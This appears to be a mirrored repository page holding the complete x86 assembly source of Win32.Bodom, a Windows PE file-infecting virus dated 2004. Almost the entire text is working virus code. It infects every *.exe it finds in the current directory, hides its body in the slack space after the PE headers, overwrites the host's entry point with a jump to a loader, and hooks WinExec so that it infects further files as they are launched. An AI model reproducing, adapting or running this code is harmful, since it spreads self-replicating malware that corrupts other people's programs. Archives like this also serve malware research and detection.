mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
561 lines
13 KiB
NASM
561 lines
13 KiB
NASM
; Win32.Bodom by DR-EF (c) 2004
|
|
; -----------------------------
|
|
;Author:DR-EF
|
|
;Type:Per Process Resident/Direct Action PE infector
|
|
;Size:about 1700 bytes
|
|
;Features:
|
|
;---------
|
|
; 1)virus body is placed between the end of
|
|
; headers and the first section body,so
|
|
; it dont increase file size
|
|
; 2)E.P.O - virus dont modifly entry point
|
|
; instead it overwrite the host entry
|
|
; point with code that jump to loader
|
|
; 3)dont change section flags,instead it
|
|
; place loader at the aligned space of the
|
|
; code section,this loader allocate memory
|
|
; and copy the virus body to there,and run
|
|
; it from the allocated memory
|
|
; 4)Per Process residenty - the virus hook the
|
|
; WinExec api,and infect files when this api
|
|
; is called,it infect the currect directory
|
|
; as well
|
|
;
|
|
;
|
|
; DR-EF.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
extrn ExitProcess:proc
|
|
|
|
.586
|
|
.model flat
|
|
|
|
DEBUG equ 0
|
|
VirusSize equ (VirusEnd-VirusStart)
|
|
|
|
.data
|
|
db ?
|
|
|
|
.code
|
|
|
|
_main:
|
|
;first generation init code:
|
|
mov eax,VirusSize
|
|
mov ebx,SizeOfLoaderCode
|
|
xor ebp,ebp
|
|
mov dword ptr [ebp + HostEntryPoint_of],offset Exit
|
|
mov edi,offset HostEntryPointBytes
|
|
mov esi,offset Exit
|
|
mov ecx,SizeOfJumpCode
|
|
rep movsb
|
|
VirusStart equ $
|
|
call Delta
|
|
Delta: pop ebp
|
|
sub ebp,offset Delta
|
|
mov eax,dword ptr [esp]
|
|
xor ax,ax
|
|
mov ebx,eax
|
|
@NextP: cmp word ptr [eax],"ZM" ;check mz sign
|
|
jne MoveNP
|
|
mov ebx,eax
|
|
add eax,[eax + 3ch]
|
|
cmp word ptr [eax],"EP" ;check pe sign
|
|
je kernelF
|
|
MoveNP: xchg eax,ebx
|
|
sub eax,1000h
|
|
jmp @NextP ;move to next page
|
|
kernelF:xchg eax,ebx
|
|
push eax
|
|
SearchGetProcAddress:
|
|
add eax,[eax + 3ch]
|
|
mov eax,[eax + 78h]
|
|
add eax,[esp]
|
|
push eax ;eax - kernel32 export table
|
|
xor edx,edx
|
|
mov eax,[eax + 20h]
|
|
add eax,[esp + 4h]
|
|
mov edi,[eax]
|
|
add edi,[esp + 4h] ;edi - api names array
|
|
dec edi
|
|
nxt_cmp:inc edi
|
|
lea esi,[ebp + _GetProcAddress]
|
|
mov ecx,0eh
|
|
rep cmpsb
|
|
je search_address
|
|
inc edx
|
|
nxt_l: cmp byte ptr [edi],0h
|
|
je nxt_cmp
|
|
inc edi
|
|
jmp nxt_l
|
|
search_address:
|
|
pop eax ;eax - kernel32 export table
|
|
shl edx,1h ;edx - GetProcAddress position
|
|
mov ebx,[eax + 24h]
|
|
add ebx,[esp]
|
|
add ebx,edx
|
|
mov dx,word ptr [ebx]
|
|
shl edx,2h
|
|
mov ebx,[eax + 1ch]
|
|
add ebx,[esp]
|
|
add ebx,edx
|
|
mov ebx,[ebx]
|
|
add ebx,[esp]
|
|
mov [ebp + __GetProcAddress],ebx
|
|
mov ecx,NumberOfApis ;ecx - number of apis
|
|
lea eax,[ebp + ApiNamesTable] ;eax - address to api strings
|
|
lea ebx,[ebp + ApiAddressTable] ;ebx - address to api address
|
|
pop edx ;edx - module handle
|
|
NextAPI:push ecx
|
|
push edx
|
|
push eax
|
|
push eax
|
|
push edx
|
|
call [ebp + __GetProcAddress]
|
|
mov dword ptr [ebx],eax
|
|
pop eax
|
|
NextSTR:inc eax
|
|
cmp byte ptr [eax],0h
|
|
jne NextSTR
|
|
inc eax
|
|
add ebx,4h
|
|
pop edx
|
|
pop ecx
|
|
loop NextAPI
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
|
push eax
|
|
call _FindF
|
|
db "*.exe",0
|
|
_FindF: call [ebp + FindFirstFile]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je Hook
|
|
mov [ebp + hfind],eax
|
|
@Find: lea ebx,[ebp + cFileName]
|
|
call InfectFile
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
|
push eax
|
|
push dword ptr [ebp + hfind]
|
|
call [ebp + FindNextFile]
|
|
or eax,eax
|
|
jnz @Find
|
|
Hook: ;hook the WinExec api
|
|
mov eax,400000h ;host image base
|
|
HostImageBase equ ($-VirusStart-4)
|
|
lea ebx,[ebp + dll]
|
|
lea ecx,[ebp + fn]
|
|
lea edx,[ebp + WinExecHook]
|
|
call HookApi
|
|
mov [ebp + WinExec_],eax
|
|
ReturnToHost:
|
|
mov edi,12345678h
|
|
HostEntryPoint_of equ ($-4)
|
|
HostEntryPoint_ equ ($-VirusStart-4)
|
|
push edi
|
|
call dummy
|
|
HostEntryPoint dd 0
|
|
dummy: push PAGE_EXECUTE_READWRITE
|
|
push 1000h
|
|
push edi
|
|
call [ebp + VirtualProtect]
|
|
mov ecx,SizeOfJumpCode
|
|
lea esi,[ebp + HostEntryPointBytes]
|
|
rep movsb
|
|
ret
|
|
|
|
db "[Win32.Bodom] Written By DR-EF (c) 2004"
|
|
|
|
;input:
|
|
;eax - image base
|
|
;ebx - dll name
|
|
;ecx - function name
|
|
;edx - hook procedure
|
|
;output
|
|
;eax - new function address or 0 if fail
|
|
HookApi:
|
|
cmp word ptr [eax],"ZM" ;check mz sign
|
|
jne HookErr
|
|
push eax ;save image base in the stack
|
|
add eax,[eax + 3ch] ;goto pe header
|
|
add eax,80h
|
|
mov eax,[eax] ;get import section rva
|
|
cmp eax,0h
|
|
je HookErr_
|
|
add eax,[esp] ;convert it to va
|
|
@Dll: mov esi,[eax + 0ch]
|
|
cmp esi,0h
|
|
je HookErr_
|
|
add esi,[esp] ;esi - dll name
|
|
;compare the dll name in [esi],with our dll:
|
|
pushad
|
|
xchg edi,ebx
|
|
xor ecx,ecx
|
|
@Gsize: cmp byte ptr [edi+ecx],0h ;get our dll size
|
|
je _Size
|
|
inc ecx
|
|
jmp @Gsize
|
|
_Size: rep cmpsb
|
|
je _dll
|
|
popad
|
|
add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
|
|
jmp @Dll
|
|
_dll: popad
|
|
;edx - Hook procedure
|
|
;ecx - function to hook
|
|
;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll
|
|
;[esp] - image base
|
|
mov ebx,[eax] ;get rva to pointers to image import by name structures
|
|
add ebx,[esp] ;convert it to va
|
|
xor edi,edi ;used to save loop index
|
|
@FindApi:
|
|
;ebx - pointer to pointers arrary of import by name structures
|
|
push edi ;save loop index
|
|
push ebx ;save pointer to import by name structures
|
|
push eax ;save import section rva
|
|
push ecx ;save function to hook name
|
|
push edx ;save hook procedure
|
|
;--------------------------------------------------------------------
|
|
mov esi,[ebx] ;get import by name structure rva
|
|
add esi,[esp + 14h] ;convert it to va
|
|
add esi,2h ;skip the IBN_Hint
|
|
;compare api string with our api name:
|
|
mov edi,ecx ;move our api name into edi
|
|
xor ecx,ecx ;used to save our api name size
|
|
@GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ?
|
|
je ___Size
|
|
inc ecx
|
|
jmp @GSize_
|
|
___Size:inc ecx ;include the 0
|
|
rep cmpsb ;compare api names
|
|
je ApiFound ;we found it !
|
|
;--------------------------------------------------------------------
|
|
;restore everthing
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
pop ebx
|
|
pop edi
|
|
add edi,4h
|
|
add ebx,4h ;move to next pointer
|
|
cmp dword ptr [ebx],0h ;no more pointers ???
|
|
jne @FindApi
|
|
HookErr_:
|
|
pop eax
|
|
HookErr:xor eax,eax
|
|
ret
|
|
ApiFound:
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
pop ebx
|
|
pop edi
|
|
mov esi,[eax + 10h] ;rva to name
|
|
add esi,[esp]
|
|
add esi,edi ;goto our api address
|
|
mov eax,[esi] ;get our api old address
|
|
mov [esi],edx ;hook it !
|
|
pop esi ;restore stack
|
|
ret
|
|
|
|
WinExecHook:
|
|
IF DEBUG
|
|
int 3
|
|
ENDIF
|
|
pushad
|
|
pushfd
|
|
call HookD
|
|
HookD: pop ebp
|
|
sub ebp,offset HookD
|
|
mov ebx,[esp + 28h]
|
|
call InfectFile
|
|
popfd
|
|
popad
|
|
push ebp
|
|
call Hook_D
|
|
Hook_D: pop ebp
|
|
sub ebp,offset Hook_D
|
|
xchg eax,ebp
|
|
pop ebp
|
|
jmp dword ptr [eax + WinExec_]
|
|
|
|
|
|
WinExec_ dd 0
|
|
dll db "KERNEL32.dll",0
|
|
fn db "WinExec",0
|
|
hfind dd 0
|
|
INVALID_HANDLE_VALUE equ -1
|
|
|
|
|
|
WIN32_FIND_DATA:
|
|
dwFileAttributes dd 0
|
|
ftCreationTime dq 0
|
|
ftLastAccessTime dq 0
|
|
ftLastWriteTime dq 0
|
|
nFileSizeHigh dd 0
|
|
nFileSizeLow dd 0
|
|
dwReserved0 dd 0
|
|
dwReserved1 dd 0
|
|
cFileName db 0ffh dup (0)
|
|
cAlternateFileName db 14h dup (0)
|
|
|
|
|
|
;ebx - file name
|
|
InfectFile:
|
|
xor eax,eax
|
|
push eax
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push eax
|
|
push eax
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push ebx
|
|
call [ebp + CreateFile]
|
|
inc eax
|
|
je ExitInfect
|
|
dec eax
|
|
mov dword ptr [ebp + hfile],eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push PAGE_READWRITE
|
|
push eax
|
|
push dword ptr [ebp + hfile]
|
|
call [ebp + CreateFileMapping]
|
|
or eax,eax
|
|
je ExitCloseFile
|
|
mov dword ptr [ebp + hmap],eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push FILE_MAP_WRITE
|
|
push dword ptr [ebp + hmap]
|
|
call [ebp + MapViewOfFile]
|
|
or eax,eax
|
|
je ExitCloseMap
|
|
mov dword ptr [ebp + mapbase],eax
|
|
cmp word ptr [eax],"ZM" ;check mz sign
|
|
jne ExitUnmap
|
|
add eax,[eax + 3ch]
|
|
cmp word ptr [eax],"EP" ;check pe sign
|
|
jne ExitUnmap
|
|
cmp byte ptr [eax + 0bh],29h ;check if already infected
|
|
je ExitUnmap
|
|
push eax ;save pe header offset in the stack
|
|
xor ecx,ecx
|
|
mov cx,[eax + 6h] ;get number of sections
|
|
mov ebx,[eax + 34h] ;get image base
|
|
mov dword ptr [ebp + VirusEntryPoint],ebx
|
|
mov dword ptr [ebp + LoaderEntryPoint],ebx
|
|
mov dword ptr [ebp + HostEntryPoint],ebx
|
|
mov ebx,[eax + 28h]
|
|
add dword ptr [ebp + HostEntryPoint],ebx
|
|
mov ebx,[eax + 74h]
|
|
shl ebx,3h
|
|
add eax,ebx
|
|
add eax,78h ;eax -first section header
|
|
mov ebx,[eax + 0ch] ;get virtual address
|
|
cmp ebx,[eax + 14h]
|
|
jne Exit__ ;dont infect file
|
|
push eax
|
|
@GetLS: add eax,28h
|
|
loop @GetLS
|
|
sub eax,[ebp + mapbase] ;get end of headers(pe & sections),in file
|
|
pop ebx
|
|
mov ecx,[ebx + 14h] ;get pointer to raw data of the first section
|
|
sub ecx,eax
|
|
cmp ecx,VirusSize ;there enough space ?
|
|
jb Exit__
|
|
mov edi,eax
|
|
add edi,[ebp + mapbase]
|
|
push edi
|
|
push edi
|
|
sub edi,[ebp + mapbase]
|
|
add dword ptr [ebp + VirusEntryPoint],edi ;save virus entry point
|
|
mov edx,[esp] ;get pe header offset
|
|
mov eax,[ebx + 10h] ;get size of raw data
|
|
sub eax,[ebx + 8h] ;get aligned space size
|
|
cmp eax,SizeOfLoaderCode
|
|
jb Exit__
|
|
mov edi,[ebx + 14h] ;get pointer to raw data
|
|
add edi,[ebx + 8h] ;goto alinged space
|
|
add dword ptr [ebp + LoaderEntryPoint],edi
|
|
add edi,[ebp + mapbase]
|
|
lea esi,[ebp + Loader_Code]
|
|
mov ecx,SizeOfLoaderCode
|
|
rep movsb ;copy the loader into the host
|
|
lea edi,[ebp + JumpCode]
|
|
xor ecx,ecx
|
|
mov cx,word ptr [ebp + push_and_ret+4]
|
|
mov byte ptr [edi],68h
|
|
mov dword ptr [edi + 1h],ecx
|
|
add edi,5h
|
|
mov ecx,dword ptr [ebp + push_and_ret]
|
|
mov byte ptr [edi],68h
|
|
mov dword ptr [edi +1h],ecx
|
|
pop edi
|
|
push edi
|
|
lea esi,[ebp + VirusStart]
|
|
mov ecx,VirusSize
|
|
rep movsb ;copy the virus into host
|
|
;patch the return to host address
|
|
pop edi
|
|
push dword ptr [ebp + HostEntryPoint]
|
|
pop dword ptr [edi + HostEntryPoint_]
|
|
mov esi,dword ptr [esp + 4h] ;get pe header
|
|
push dword ptr [esi + 34h] ;push image base
|
|
pop dword ptr [edi + HostImageBase] ;save image base in the virus body
|
|
mov esi,dword ptr [esi + 28h] ;get entry point
|
|
add esi,[ebp + mapbase]
|
|
pop edi
|
|
push esi
|
|
add edi,(HostEntryPointBytes - VirusStart)
|
|
mov ecx,SizeOfJumpCode
|
|
rep movsb ;save host entry point bytes
|
|
pop edi
|
|
lea esi,[ebp + JumpCode]
|
|
mov ecx,SizeOfJumpCode
|
|
rep movsb ;overwrite host entry point with jumper code
|
|
Exit__: pop eax ;restore pe header
|
|
mov byte ptr [eax + 0bh],29h ;sign the file as infected
|
|
ExitUnmap:
|
|
push dword ptr [ebp + mapbase]
|
|
call [ebp + UnmapViewOfFile]
|
|
ExitCloseMap:
|
|
push dword ptr [ebp + hmap]
|
|
call [ebp + CloseHandle]
|
|
ExitCloseFile:
|
|
push dword ptr [ebp + hfile]
|
|
call [ebp + CloseHandle]
|
|
ExitInfect:
|
|
ret
|
|
|
|
hfile dd 0
|
|
hmap dd 0
|
|
mapbase dd 0
|
|
|
|
|
|
push_and_ret:
|
|
db 68h
|
|
LoaderEntryPoint dd 0
|
|
db 0c3h
|
|
|
|
JumpCode:
|
|
db 0ah dup (0)
|
|
push esp
|
|
xor eax,eax
|
|
push dword ptr fs:[eax]
|
|
mov fs:[eax],esp
|
|
mov dword ptr [eax],eax
|
|
|
|
SizeOfJumpCode equ ($-JumpCode)
|
|
|
|
|
|
HostEntryPointBytes db SizeOfJumpCode dup(0)
|
|
|
|
PAGE_EXECUTE_READWRITE equ 40h
|
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
|
FILE_MAP_READ equ 00000004h
|
|
OPEN_EXISTING equ 3
|
|
FILE_SHARE_READ equ 00000001h
|
|
GENERIC_READ equ 80000000h
|
|
GENERIC_WRITE equ 40000000h
|
|
PAGE_READWRITE equ 4h
|
|
FILE_MAP_WRITE equ 00000002h
|
|
|
|
Loader_Code:
|
|
;find VirtualAlloc api,allocate memory,copy virus into memory & run it
|
|
mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0]
|
|
add esp,0ch
|
|
mov eax,dword ptr [esp] ;get return address
|
|
xor ax,ax
|
|
@Find_: cmp word ptr [eax],"ZM"
|
|
je ___1
|
|
sub eax,1000h
|
|
jmp @Find_
|
|
___1: push eax ;eax - kernel base address
|
|
add eax,[eax + 3ch]
|
|
mov eax,[eax + 78h]
|
|
add eax,[esp]
|
|
push eax ;eax - kernel32 export table
|
|
xor edx,edx
|
|
mov eax,[eax + 20h]
|
|
add eax,[esp+4h]
|
|
mov edi,[eax]
|
|
add edi,[esp+4h] ;edi - api names array
|
|
dec edi
|
|
NxtCmp: inc edi
|
|
call OverVA
|
|
db "VirtualAlloc",0
|
|
OverVA: pop esi
|
|
mov ecx,0ch
|
|
rep cmpsb
|
|
je FindAdd
|
|
inc edx
|
|
NXT: cmp byte ptr [edi],0h
|
|
je NxtCmp
|
|
inc edi
|
|
jmp NXT
|
|
FindAdd:pop eax ;eax - kernel32 export table
|
|
shl edx,1h ;edx - GetProcAddress position
|
|
mov ebx,[eax + 24h]
|
|
add ebx,[esp]
|
|
add ebx,edx
|
|
mov dx,word ptr [ebx]
|
|
shl edx,2h
|
|
mov ebx,[eax + 1ch]
|
|
add ebx,[esp]
|
|
add ebx,edx
|
|
mov ebx,[ebx]
|
|
add ebx,[esp] ;ebx - GlobalAlloc address
|
|
pop eax
|
|
push PAGE_EXECUTE_READWRITE
|
|
push 1000h
|
|
push VirusSize
|
|
push 0h
|
|
call ebx ;allocate memory
|
|
push eax
|
|
xchg edi,eax
|
|
mov esi,12345678h
|
|
VirusEntryPoint equ ($-4)
|
|
mov ecx,VirusSize
|
|
rep movsb
|
|
ret
|
|
|
|
SizeOfLoaderCode equ ($-Loader_Code)
|
|
|
|
_GetProcAddress db "GetProcAddress",0
|
|
__GetProcAddress dd 0
|
|
|
|
ApiNamesTable:
|
|
_CreateFile db "CreateFileA",0
|
|
_CloseHandle db "CloseHandle",0
|
|
_CreateFileMapping db "CreateFileMappingA",0
|
|
_MapViewOfFile db "MapViewOfFile",0
|
|
_UnmapViewOfFile db "UnmapViewOfFile",0
|
|
_FindFirstFileA db "FindFirstFileA",0
|
|
_FindNextFileA db "FindNextFileA",0
|
|
_VirtualProtect db "VirtualProtect",0
|
|
|
|
ApiAddressTable:
|
|
CreateFile dd 0
|
|
CloseHandle dd 0
|
|
CreateFileMapping dd 0
|
|
MapViewOfFile dd 0
|
|
UnmapViewOfFile dd 0
|
|
FindFirstFile dd 0
|
|
FindNextFile dd 0
|
|
VirtualProtect dd 0
|
|
|
|
NumberOfApis equ 8
|
|
|
|
VirusEnd equ $
|
|
|
|
Exit:
|
|
push eax
|
|
call ExitProcess
|
|
end _main |